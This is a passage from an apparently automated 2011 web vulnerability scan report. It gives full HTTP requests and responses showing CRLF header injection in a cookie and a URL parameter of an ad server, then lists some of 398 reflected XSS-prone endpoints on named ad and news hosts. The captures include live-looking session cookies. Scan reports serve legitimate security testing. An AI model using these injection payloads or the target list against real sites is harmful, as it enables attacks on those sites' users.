Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Moved Temporarily
Date: Tue, 10 May 2011 13:15:46 GMT
Server: Apache/2.2.15 (Unix) mod_jk/1.2.28
Set-Cookie: JSESSIONID=F072A1362457E9AA019C1C921ECBB27A; Domain=.gather.com; Path=/
Set-Cookie: vis=UpaMeCxC7omqbrijp2KbL/MUIG2sDp6U6nijlaPvAYBKBPTx/gUWgbIx3xlhc5t/wmKSD+84cneR895eDEjeO1sXGWt6WL74rv+kstIq/BM=; Domain=gather.com; Expires=Mon, 05-May-2031 13:15:46 GMT; Path=/
P3P: policyref="http://ads.gather.com/w3c/p3p.xml", CP="PSAa PSDa ADMa DEVa OUR IND DSP NOI COR UNI NAV CURa COM INT"
Set-Cookie: vis=V4KohYPrJU2o32JtCv0BQg+EP2KssYlfiyJ3tq9u4afVb7Lwg6CL2XGtuxHWTMN7ATxaIwqStE+O81bnyJBvZGU6xAX4Z9xPZHxrgLEOomdsCTFVTXLkFYJCkaCM+BaP; Domain=gather.com; Expires=Mon, 05-May-2031 13:15:46 GMT; Path=/
P3P: policyref="http://ads.gather.com/w3c/p3p.xml", CP="PSAa PSDa ADMa DEVa OUR IND DSP NOI COR UNI NAV CURa COM INT"
Location: http://www.gather.com/d1c40
da2b4770962
Content-Length: 0
Content-Type: text/html;charset=UTF-8

3.47. http://tacoda.at.atwola.com/rtx/r.js [N cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tacoda.at.atwola.com
Path:	/rtx/r.js

Issue detail

The value of the N cookie is copied into the Set-Cookie response header. The payload 2157c%0d%0a832059ca924 was submitted in the N cookie. This caused a response containing an injected HTTP header.

Request

GET /rtx/r.js?cmd=ADG&si=18303&pi=L&xs=3&pu=http%253A//cdn.at.atwola.com/_media/uac/tcode3.html%253Fifu%253Dhttp%25253A//www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html%2526cmmiss%253D-1%2526cmkw%253D&r=&v=5.5&cb=14952 HTTP/1.1
Host: tacoda.at.atwola.com
Proxy-Connection: keep-alive
Referer: http://cdn.at.atwola.com/_media/uac/tcode3.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4DB8055D6E651A440C6EAF39F00069A8; eadx=x; ATTACID=a3Z0aWQ9MTZyNG9wcTF0dmxrbWw=; ANRTT=60183^1^1305561775|60130^1^1305560226|50220^1^1304989381|53615^1^1305562676|50215^1^1305161824|50229^1^1305161861|60203^1^1305203973|50280^1^1305562739|60194^1^1305161911|50224^1^1305161938|60190^1^1305161946|50213^1^1305554387|60146^1^1305561756|52576^1^1305562676|52766^1^1305562676|57126^1^1305562704; TData=99999|^|51134|56281|50086|50085|60740|57130|53380|60490|60512|60489|57149|60515|50963|52615|60491|50507|53656|55401|60509|54255|60506|57094|54243|50961|54209|52841|51182|56419|60146|52576|56969|56835|56780|57372|56761; N=2:075830f4860e794d16ad1f8cf1dc6ff2,aff3a0d34f874c485c6aff040641c1902157c%0d%0a832059ca924; ATTAC=a3ZzZWc9OTk5OTk6NTExMzQ6NTYyODE6NTAwODY6NTAwODU6NjA3NDA6NTcxMzA6NTMzODA6NjA0OTA6NjA1MTI6NjA0ODk6NTcxNDk6NjA1MTU6NTA5NjM6NTI2MTU6NjA0OTE6NTA1MDc6NTM2NTY6NTU0MDE6NjA1MDk6NTQyNTU6NjA1MDY6NTcwOTQ6NTQyNDM6NTA5NjE6NTQyMDk6NTI4NDE6NTExODI6NTY0MTk6NjAxNDY6NTI1NzY=; AxData=

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:53:31 GMT
Server: Apache/1.3.37 (Unix) mod_perl/1.29
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Cache-Control: max-age=900
Expires: Tue, 10 May 2011 14:08:31 GMT
Set-Cookie: ATTACID=a3Z0aWQ9MTZyNG9wcTF0dmxrbWw=; path=/; expires=Fri, 04-May-12 13:53:31 GMT; domain=.at.atwola.com
Set-Cookie: ANRTT=60183^1^1305640411|60130^1^1305560226|53615^1^1305562676|50215^1^1305161824|50229^1^1305161861|60203^1^1305203973|50280^1^1305562739|60194^1^1305161911|50224^1^1305161938|60190^1^1305161946|50213^1^1305554387|60146^1^1305561756|52576^1^1305562676|52766^1^1305562676|57126^1^1305562704; path=/; expires=Tue, 17-May-11 13:53:31 GMT; domain=tacoda.at.atwola.com
Set-Cookie: Tsid=0^1305035611^1305037411|18303^1305035611^1305037411; path=/; expires=Tue, 10-May-11 14:23:31 GMT; domain=tacoda.at.atwola.com
Set-Cookie: TData=99999|^|51134|57094|60740|50085|50086|57130|50963|60491|60512|51186|56281|53380|60489|60515|57149|52615|60490|53656|55401|50507|60506|54255|57144|60509|54243|51182|50961|54209|56419|52576|56969|56835|56780|57372|56761; expires=Fri, 04-May-12 13:53:31 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: N=2:aff3a0d34f874c485c6aff040641c1902157c
832059ca924,e93692b4245f9caf3a3a6cab8d3d53be; expires=Fri, 04-May-12 13:53:31 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: ATTAC=a3ZzZWc9OTk5OTk6NTExMzQ6NTcwOTQ6NjA3NDA6NTAwODU6NTAwODY6NTcxMzA6NTA5NjM6NjA0OTE6NjA1MTI6NTExODY6NTYyODE6NTMzODA6NjA0ODk6NjA1MTU6NTcxNDk6NTI2MTU6NjA0OTA6NTM2NTY6NTU0MDE6NTA1MDc6NjA1MDY6NTQyNTU6NTcxNDQ6NjA1MDk6NTQyNDM6NTExODI6NTA5NjE6NTQyMDk6NTY0MTk6NTI1NzY=; expires=Fri, 04-May-12 13:53:31 GMT; path=/; domain=.at.atwola.com
ntCoent-Length: 312
Content-Type: application/x-javascript
Content-Length: 312

var ANUT=1;
var ANOO=0;
var ANSR=1;
var ANTID='16r4opq1tvlkml';
var ANSL='99999|^|51134|57094|60740|50085|50086|57130|50963|60491|60512|51186|56281|53380|60489|60515|57149|52615|60490|53656|55401|
...[SNIP]...

3.48. http://tacoda.at.atwola.com/rtx/r.js [si parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tacoda.at.atwola.com
Path:	/rtx/r.js

Issue detail

The value of the si request parameter is copied into the Set-Cookie response header. The payload af27a%0d%0a3f3a13db1d1 was submitted in the si parameter. This caused a response containing an injected HTTP header.

Request

GET /rtx/r.js?cmd=ADG&si=af27a%0d%0a3f3a13db1d1&pi=L&xs=3&pu=http%253A//cdn.at.atwola.com/_media/uac/tcode3.html%253Fifu%253Dhttp%25253A//www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html%2526cmmiss%253D-1%2526cmkw%253D&r=&v=5.5&cb=14952 HTTP/1.1
Host: tacoda.at.atwola.com
Proxy-Connection: keep-alive
Referer: http://cdn.at.atwola.com/_media/uac/tcode3.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4DB8055D6E651A440C6EAF39F00069A8; eadx=x; ATTACID=a3Z0aWQ9MTZyNG9wcTF0dmxrbWw=; ANRTT=60183^1^1305561775|60130^1^1305560226|50220^1^1304989381|53615^1^1305562676|50215^1^1305161824|50229^1^1305161861|60203^1^1305203973|50280^1^1305562739|60194^1^1305161911|50224^1^1305161938|60190^1^1305161946|50213^1^1305554387|60146^1^1305561756|52576^1^1305562676|52766^1^1305562676|57126^1^1305562704; TData=99999|^|51134|56281|50086|50085|60740|57130|53380|60490|60512|60489|57149|60515|50963|52615|60491|50507|53656|55401|60509|54255|60506|57094|54243|50961|54209|52841|51182|56419|60146|52576|56969|56835|56780|57372|56761; N=2:075830f4860e794d16ad1f8cf1dc6ff2,aff3a0d34f874c485c6aff040641c190; ATTAC=a3ZzZWc9OTk5OTk6NTExMzQ6NTYyODE6NTAwODY6NTAwODU6NjA3NDA6NTcxMzA6NTMzODA6NjA0OTA6NjA1MTI6NjA0ODk6NTcxNDk6NjA1MTU6NTA5NjM6NTI2MTU6NjA0OTE6NTA1MDc6NTM2NTY6NTU0MDE6NjA1MDk6NTQyNTU6NjA1MDY6NTcwOTQ6NTQyNDM6NTA5NjE6NTQyMDk6NTI4NDE6NTExODI6NTY0MTk6NjAxNDY6NTI1NzY=; AxData=

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:48:16 GMT
Server: Apache/1.3.37 (Unix) mod_perl/1.29
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Cache-Control: max-age=900
Expires: Tue, 10 May 2011 14:03:16 GMT
Set-Cookie: ATTACID=a3Z0aWQ9MTZyNG9wcTF0dmxrbWw=; path=/; expires=Fri, 04-May-12 13:48:16 GMT; domain=.at.atwola.com
Set-Cookie: ANRTT=60183^1^1305640096|60130^1^1305560226|53615^1^1305562676|50215^1^1305161824|50229^1^1305161861|60203^1^1305203973|50280^1^1305562739|60194^1^1305161911|50224^1^1305161938|60190^1^1305161946|50213^1^1305554387|60146^1^1305561756|52576^1^1305562676|52766^1^1305562676|57126^1^1305562704; path=/; expires=Tue, 17-May-11 13:48:16 GMT; domain=tacoda.at.atwola.com
Set-Cookie: Tsid=0^1305035296^1305037096|af27a
3f3a13db1d1^1305035296^1305037096; path=/; expires=Tue, 10-May-11 14:18:16 GMT; domain=tacoda.at.atwola.com
Set-Cookie: TData=99999|^|51134|57094|60740|50085|50086|57130|50963|60491|60512|51186|56281|53380|60489|60515|57149|52615|60490|53656|55401|50507|60506|54255|57144|60509|54243|51182|50961|54209|56419|52576|56969|56835|56780|57372|56761; expires=Fri, 04-May-12 13:48:16 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: N=2:aff3a0d34f874c485c6aff040641c190,e93692b4245f9caf3a3a6cab8d3d53be; expires=Fri, 04-May-12 13:48:16 GMT; path=/; domain=tacoda.at.atwola.com
Set-Cookie: ATTAC=a3ZzZWc9OTk5OTk6NTExMzQ6NTcwOTQ6NjA3NDA6NTAwODU6NTAwODY6NTcxMzA6NTA5NjM6NjA0OTE6NjA1MTI6NTExODY6NTYyODE6NTMzODA6NjA0ODk6NjA1MTU6NTcxNDk6NTI2MTU6NjA0OTA6NTM2NTY6NTU0MDE6NTA1MDc6NjA1MDY6NTQyNTU6NTcxNDQ6NjA1MDk6NTQyNDM6NTExODI6NTA5NjE6NTQyMDk6NTY0MTk6NTI1NzY=; expires=Fri, 04-May-12 13:48:16 GMT; path=/; domain=.at.atwola.com
Cteonnt-Length: 312
Content-Type: application/x-javascript
Content-Length: 312

var ANUT=1;
var ANOO=0;
var ANSR=1;
var ANTID='16r4opq1tvlkml';
var ANSL='99999|^|51134|57094|60740|50085|50086|57130|50963|60491|60512|51186|56281|53380|60489|60515|57149|52615|60490|53656|55401|
...[SNIP]...

4. Cross-site scripting (reflected) previous next
There are 398 instances of this issue:

http://a.collective-media.net/ad/q1.philly/news [REST URL parameter 1]
http://a.collective-media.net/adj/idgt.slashgear/article_above [REST URL parameter 2]
http://a.collective-media.net/adj/idgt.slashgear/article_above [REST URL parameter 3]
http://a.collective-media.net/adj/idgt.slashgear/article_above [name of an arbitrarily supplied request parameter]
http://a.collective-media.net/adj/idgt.slashgear/article_above [sec parameter]
http://a.collective-media.net/adj/ns.androidcentral/general [REST URL parameter 2]
http://a.collective-media.net/adj/ns.androidcentral/general [REST URL parameter 3]
http://a.collective-media.net/adj/ns.androidcentral/general [name of an arbitrarily supplied request parameter]
http://a.collective-media.net/adj/ns.androidcentral/general [ppos parameter]
http://a.collective-media.net/adj/ns.androidcentral/general/archive [REST URL parameter 2]
http://a.collective-media.net/adj/ns.androidcentral/general/archive [REST URL parameter 3]
http://a.collective-media.net/adj/ns.androidcentral/general/archive [REST URL parameter 4]
http://a.collective-media.net/adj/ns.androidcentral/general/archive [name of an arbitrarily supplied request parameter]
http://a.collective-media.net/adj/ns.androidcentral/general/archive [ppos parameter]
http://a.collective-media.net/adj/ns.knowyourmobile/general [REST URL parameter 2]
http://a.collective-media.net/adj/ns.knowyourmobile/general [REST URL parameter 3]
http://a.collective-media.net/adj/ns.knowyourmobile/general [name of an arbitrarily supplied request parameter]
http://a.collective-media.net/adj/ns.knowyourmobile/general [ppos parameter]
http://a.collective-media.net/adj/ns.slashgear/general [REST URL parameter 2]
http://a.collective-media.net/adj/ns.slashgear/general [REST URL parameter 3]
http://a.collective-media.net/adj/ns.slashgear/general [name of an arbitrarily supplied request parameter]
http://a.collective-media.net/adj/ns.slashgear/general [ppos parameter]
http://a.collective-media.net/adj/q1.philly/news [REST URL parameter 2]
http://a.collective-media.net/adj/q1.philly/news [REST URL parameter 3]
http://a.collective-media.net/adj/q1.philly/news [name of an arbitrarily supplied request parameter]
http://a.collective-media.net/adj/q1.philly/news [sz parameter]
http://a.collective-media.net/cmadj/idgt.slashgear/article_above [REST URL parameter 1]
http://a.collective-media.net/cmadj/idgt.slashgear/article_above [REST URL parameter 2]
http://a.collective-media.net/cmadj/idgt.slashgear/article_above [REST URL parameter 3]
http://a.collective-media.net/cmadj/idgt.slashgear/article_above [sec parameter]
http://a.collective-media.net/cmadj/ns.androidcentral/general [REST URL parameter 1]
http://a.collective-media.net/cmadj/ns.androidcentral/general [REST URL parameter 2]
http://a.collective-media.net/cmadj/ns.androidcentral/general [REST URL parameter 3]
http://a.collective-media.net/cmadj/ns.androidcentral/general [ppos parameter]
http://a.collective-media.net/cmadj/ns.androidcentral/general/archive [REST URL parameter 1]
http://a.collective-media.net/cmadj/ns.androidcentral/general/archive [REST URL parameter 2]
http://a.collective-media.net/cmadj/ns.androidcentral/general/archive [REST URL parameter 3]
http://a.collective-media.net/cmadj/ns.androidcentral/general/archive [REST URL parameter 4]
http://a.collective-media.net/cmadj/ns.androidcentral/general/archive [ppos parameter]
http://a.collective-media.net/cmadj/ns.knowyourmobile/general [REST URL parameter 1]
http://a.collective-media.net/cmadj/ns.knowyourmobile/general [REST URL parameter 2]
http://a.collective-media.net/cmadj/ns.knowyourmobile/general [REST URL parameter 3]
http://a.collective-media.net/cmadj/ns.knowyourmobile/general [ppos parameter]
http://a.collective-media.net/cmadj/ns.slashgear/general [REST URL parameter 1]
http://a.collective-media.net/cmadj/ns.slashgear/general [REST URL parameter 2]
http://a.collective-media.net/cmadj/ns.slashgear/general [REST URL parameter 3]
http://a.collective-media.net/cmadj/ns.slashgear/general [ppos parameter]
http://a.collective-media.net/cmadj/q1.philly/news [REST URL parameter 1]
http://a.collective-media.net/cmadj/q1.philly/news [REST URL parameter 2]
http://a.collective-media.net/cmadj/q1.philly/news [REST URL parameter 3]
http://a.collective-media.net/cmadj/q1.philly/news [sz parameter]
http://ad.bnmla.com/serve [cid parameter]
http://ad.bnmla.com/serve [click parameter]
http://ad.bnmla.com/serve [click parameter]
http://ad.bnmla.com/serve [pid parameter]
http://ad.bnmla.com/serve [zid parameter]
http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [adurl parameter]
http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [ai parameter]
http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [client parameter]
http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [client parameter]
http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [num parameter]
http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [sig parameter]
http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [sz parameter]
http://ad.doubleclick.net/adi/N5371.media6/B5451956.2 [sz parameter]
http://ad.doubleclick.net/adi/x1.rtb/casio/cttech [_a parameter]
http://ad.doubleclick.net/adi/x1.rtb/casio/cttech [_d parameter]
http://ad.doubleclick.net/adi/x1.rtb/casio/cttech [_eo parameter]
http://ad.doubleclick.net/adi/x1.rtb/casio/cttech [_et parameter]
http://ad.doubleclick.net/adi/x1.rtb/casio/cttech [_o parameter]
http://ad.doubleclick.net/adi/x1.rtb/casio/cttech [_pm parameter]
http://ad.doubleclick.net/adi/x1.rtb/casio/cttech [_pn parameter]
http://ad.doubleclick.net/adi/x1.rtb/casio/cttech [_s parameter]
http://ad.doubleclick.net/adi/x1.rtb/casio/cttech [redirect parameter]
http://ad.doubleclick.net/adi/x1.rtb/casio/cttech [sz parameter]
http://ad.doubleclick.net/adi/x1.rtb/fingerhut/doubledma/ron/ctest [_a parameter]
http://ad.doubleclick.net/adi/x1.rtb/fingerhut/doubledma/ron/ctest [_d parameter]
http://ad.doubleclick.net/adi/x1.rtb/fingerhut/doubledma/ron/ctest [_eo parameter]
http://ad.doubleclick.net/adi/x1.rtb/fingerhut/doubledma/ron/ctest [_et parameter]
http://ad.doubleclick.net/adi/x1.rtb/fingerhut/doubledma/ron/ctest [_o parameter]
http://ad.doubleclick.net/adi/x1.rtb/fingerhut/doubledma/ron/ctest [_pm parameter]
http://ad.doubleclick.net/adi/x1.rtb/fingerhut/doubledma/ron/ctest [_pn parameter]
http://ad.doubleclick.net/adi/x1.rtb/fingerhut/doubledma/ron/ctest [_s parameter]
http://ad.doubleclick.net/adi/x1.rtb/fingerhut/doubledma/ron/ctest [redirect parameter]
http://ad.doubleclick.net/adi/x1.rtb/fingerhut/doubledma/ron/ctest [sz parameter]
http://ad.doubleclick.net/adj/N4568.ADCONION/B5119479.6 [_ct parameter]
http://ad.doubleclick.net/adj/N4568.ADCONION/B5119479.6 [_ct parameter]
http://ad.doubleclick.net/adj/N4568.ADCONION/B5119479.6 [action parameter]
http://ad.doubleclick.net/adj/N4568.ADCONION/B5119479.6 [action parameter]
http://ad.doubleclick.net/adj/N4568.ADCONION/B5119479.6 [adid parameter]
http://ad.doubleclick.net/adj/N4568.ADCONION/B5119479.6 [adid parameter]
http://ad.doubleclick.net/adj/N4568.ADCONION/B5119479.6 [publisherid parameter]
http://ad.doubleclick.net/adj/N4568.ADCONION/B5119479.6 [publisherid parameter]
http://ad.doubleclick.net/adj/N4568.ADCONION/B5119479.6 [sz parameter]
http://ad.doubleclick.net/adj/N4568.ADCONION/B5119479.6 [sz parameter]
http://ad.media6degrees.com/adserv/cs [name of an arbitrarily supplied request parameter]
http://ad.media6degrees.com/adserv/cs [tId parameter]
http://ad.media6degrees.com/adserv/csst [adType parameter]
http://ad.media6degrees.com/adserv/csst [adType parameter]
http://ad.media6degrees.com/adserv/csst [adurl parameter]
http://ad.media6degrees.com/adserv/csst [adurl parameter]
http://ad.media6degrees.com/adserv/csst [ai parameter]
http://ad.media6degrees.com/adserv/csst [ai parameter]
http://ad.media6degrees.com/adserv/csst [client parameter]
http://ad.media6degrees.com/adserv/csst [client parameter]
http://ad.media6degrees.com/adserv/csst [num parameter]
http://ad.media6degrees.com/adserv/csst [num parameter]
http://ad.media6degrees.com/adserv/csst [sig parameter]
http://ad.media6degrees.com/adserv/csst [sig parameter]
http://ad.turn.com/server/pixel.htm [fpid parameter]
http://ad.yieldmanager.com/st [name of an arbitrarily supplied request parameter]
http://ad.yieldmanager.com/st [name of an arbitrarily supplied request parameter]
http://admeld-match.dotomi.com/admeld/match [admeld_adprovider_id parameter]
http://admeld-match.dotomi.com/admeld/match [admeld_callback parameter]
http://admeld.lucidmedia.com/clicksense/admeld/match [admeld_adprovider_id parameter]
http://admeld.lucidmedia.com/clicksense/admeld/match [admeld_callback parameter]
http://ads.adbrite.com/adserver/vdi/684339 [REST URL parameter 3]
http://ads.adbrite.com/adserver/vdi/742697 [REST URL parameter 3]
http://ads.adbrite.com/adserver/vdi/762701 [REST URL parameter 3]
http://ads.adsonar.com/adserving/getAds.jsp [pid parameter]
http://ads.adsonar.com/adserving/getAds.jsp [placementId parameter]
http://ads.adsonar.com/adserving/getAds.jsp [ps parameter]
http://ads.specificmedia.com/serve/v=5 [name of an arbitrarily supplied request parameter]
http://ads.trove.com/RevenuePlatform/ad/pong [&callback parameter]
http://ads.trove.com/RevenuePlatform/ad/pong [ads%5Brev_ad1%5D%5Bfinder%5D parameter]
http://ads.trove.com/RevenuePlatform/ad/pong [ads%5Brev_ad2%5D%5Bfinder%5D parameter]
http://ads.trove.com/RevenuePlatform/ad/pong [url parameter]
http://ads.tw.adsonar.com/adserving/getAds.jsp [pid parameter]
http://ads.tw.adsonar.com/adserving/getAds.jsp [placementId parameter]
http://ads.tw.adsonar.com/adserving/getAds.jsp [ps parameter]
http://adsfac.us/ag.asp [cc parameter]
http://api.bizographics.com/v1/profile.redirect [api_key parameter]
http://api.bizographics.com/v1/profile.redirect [callback_url parameter]
http://ar.voicefive.com/b/rc.pli [func parameter]
http://b.scorecardresearch.com/beacon.js [c1 parameter]
http://b.scorecardresearch.com/beacon.js [c10 parameter]
http://b.scorecardresearch.com/beacon.js [c15 parameter]
http://b.scorecardresearch.com/beacon.js [c2 parameter]
http://b.scorecardresearch.com/beacon.js [c3 parameter]
http://b.scorecardresearch.com/beacon.js [c4 parameter]
http://b.scorecardresearch.com/beacon.js [c5 parameter]
http://b.scorecardresearch.com/beacon.js [c6 parameter]
http://bid.openx.net/json [c parameter]
http://c7.zedo.com/bar/v16-406/c5/jsc/fm.js [$ parameter]
http://c7.zedo.com/bar/v16-406/c5/jsc/fm.js [$ parameter]
http://c7.zedo.com/bar/v16-406/c5/jsc/fm.js [q parameter]
http://c7.zedo.com/bar/v16-406/c5/jsc/fm.js [q parameter]
http://c7.zedo.com/bar/v16-406/c5/jsc/fmr.js [$ parameter]
http://c7.zedo.com/bar/v16-406/c5/jsc/fmr.js [$ parameter]
http://c7.zedo.com/bar/v16-406/c5/jsc/fmr.js [q parameter]
http://c7.zedo.com/bar/v16-406/c5/jsc/fmr.js [q parameter]
http://cdn.shoutlet.com/service/shoutletshare/worker [loc parameter]
http://cdn4.eyewonder.com/cm/js/10295-119241-10420-6 [mpt parameter]
http://cdn4.eyewonder.com/cm/js/10295-119241-10420-6 [mpvc parameter]
http://cdn4.eyewonder.com/content/0/10295/119241/NetShelternet-728-90-ATM_COVERAGE_728x90_v1_r1-Banner-1438824.js [mpck parameter]
http://cdn4.eyewonder.com/content/0/10295/119241/NetShelternet-728-90-ATM_COVERAGE_728x90_v1_r1-Banner-1438824.js [mpvc parameter]
http://choices.truste.com/ca [c parameter]
http://choices.truste.com/ca [h parameter]
http://choices.truste.com/ca [plc parameter]
http://choices.truste.com/ca [w parameter]
http://choices.truste.com/ca [zi parameter]
http://d.tradex.openx.com/afr.php [cb parameter]
http://d.tradex.openx.com/afr.php [loc parameter]
http://d.tradex.openx.com/afr.php [name of an arbitrarily supplied request parameter]
http://d.tradex.openx.com/afr.php [zoneid parameter]
http://delivery.uat.247realmedia.com/RealMedia/ads/adstream_sx.ads/zama/728x90 [REST URL parameter 4]
http://delivery.uat.247realmedia.com/RealMedia/ads/adstream_sx.ads/zama/728x90 [REST URL parameter 5]
http://digg.com/tools/services [REST URL parameter 1]
http://digg.com/tools/services [REST URL parameter 2]
http://digg.com/tools/services [callback parameter]
http://digg.com/tools/services [name of an arbitrarily supplied request parameter]
http://ds.addthis.com/red/psi/sites/store.androidcentral.com/p.json [callback parameter]
http://echoapi.washingtonpost.com/v1/count [q parameter]
http://echoapi.washingtonpost.com/v1/search [q parameter]
http://event.adxpose.com/event.flow [uid parameter]
http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [PluID parameter]
http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [REST URL parameter 2]
http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [REST URL parameter 3]
http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [REST URL parameter 4]
http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [REST URL parameter 5]
http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [REST URL parameter 6]
http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [c parameter]
http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [cn parameter]
http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [h parameter]
http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [name of an arbitrarily supplied request parameter]
http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [ncu parameter]
http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [ord parameter]
http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [pli parameter]
http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [ucm parameter]
http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [w parameter]
http://gather.us.intellitxt.com/intellitxt/front.asp [name of an arbitrarily supplied request parameter]
http://geek.us.intellitxt.com/al.asp [jscallback parameter]
http://geek.us.intellitxt.com/iframescript.jsp [src parameter]
http://geek.us.intellitxt.com/intellitxt/front.asp [name of an arbitrarily supplied request parameter]
http://geek.us.intellitxt.com/v4/init [jscallback parameter]
http://geek.us.intellitxt.com/v4/init [name of an arbitrarily supplied request parameter]
http://ib.adnxs.com/ab [click parameter]
http://ib.adnxs.com/ab [cnd parameter]
http://ib.adnxs.com/ab [custom_macro parameter]
http://ib.adnxs.com/ab [pixel parameter]
http://ib.adnxs.com/if [cnd parameter]
http://id.expressnightout.com/identity/public/visitor.json [jsonp_callback parameter]
http://id.slate.com/identity/public/visitor.json [jsonp_callback parameter]
http://id.theroot.com/identity/public/visitor.json [jsonp_callback parameter]
http://id.trove.com/identity/public/visitor.json [jsonp_callback parameter]
http://id.washingtonpost.com/identity/public/visitor/create [jsonp_callback parameter]
http://id.washingtonpost.com/identity/public/visitor/instance_datum.json [attributeValue parameter]
http://id.washingtonpost.com/identity/public/visitor/instance_datum.json [jsonp_callback parameter]
http://id.washingtonpost.com/identity/public/visitor/ip_address.json [jsonp_callback parameter]
http://image3.pubmatic.com/AdServer/UPug [pageURL parameter]
http://image3.pubmatic.com/AdServer/UPug [ran parameter]
http://img.mediaplex.com/content/0/13305/124472/Evb_OpportMortgage_Grow_728x90.html [mpck parameter]
http://img.mediaplex.com/content/0/13305/124472/Evb_OpportMortgage_Grow_728x90.html [mpck parameter]
http://img.mediaplex.com/content/0/13305/124472/Evb_OpportMortgage_Grow_728x90.html [mpvc parameter]
http://img.mediaplex.com/content/0/13305/124472/Evb_OpportMortgage_Grow_728x90.html [mpvc parameter]
http://imp.fetchback.com/serve/fb/adtag.js [clicktrack parameter]
http://imp.fetchback.com/serve/fb/adtag.js [name of an arbitrarily supplied request parameter]
http://imp.fetchback.com/serve/fb/adtag.js [type parameter]
http://js.revsci.net/gateway/gw.js [csid parameter]
http://knowyourmobile.uk.intellitxt.com/al.asp [jscallback parameter]
http://knowyourmobile.uk.intellitxt.com/intellitxt/front.asp [name of an arbitrarily supplied request parameter]
http://knowyourmobile.uk.intellitxt.com/v4/init [jscallback parameter]
http://knowyourmobile.uk.intellitxt.com/v4/init [name of an arbitrarily supplied request parameter]
http://media3.washingtonpost.com/wpost/js/combo [context parameter]
http://mm.chitika.net/minimall [callback parameter]
http://pglb.buzzfed.com/10032/5aa834d4bb2efeab1df676685da0518c [callback parameter]
http://r.turn.com/server/pixel.htm [fpid parameter]
http://r.turn.com/server/pixel.htm [sp parameter]
http://s26.sitemeter.com/js/counter.asp [site parameter]
http://s26.sitemeter.com/js/counter.js [site parameter]
http://samsungsmarttvs.netshelter.net/fixed_placement.js.php [name of an arbitrarily supplied request parameter]
http://samsungsmarttvs.netshelter.net/fixed_placement.js.php [publisher parameter]
http://samsungsmarttvs.netshelter.net/video_fixed_placement.js.php [name of an arbitrarily supplied request parameter]
http://samsungsmarttvs.netshelter.net/video_fixed_placement.js.php [publisher parameter]
https://secure.smartphoneexperts.com/content/customercare/page-status.htm [REST URL parameter 2]
https://secure.smartphoneexperts.com/content/customercare/page-status.htm [REST URL parameter 2]
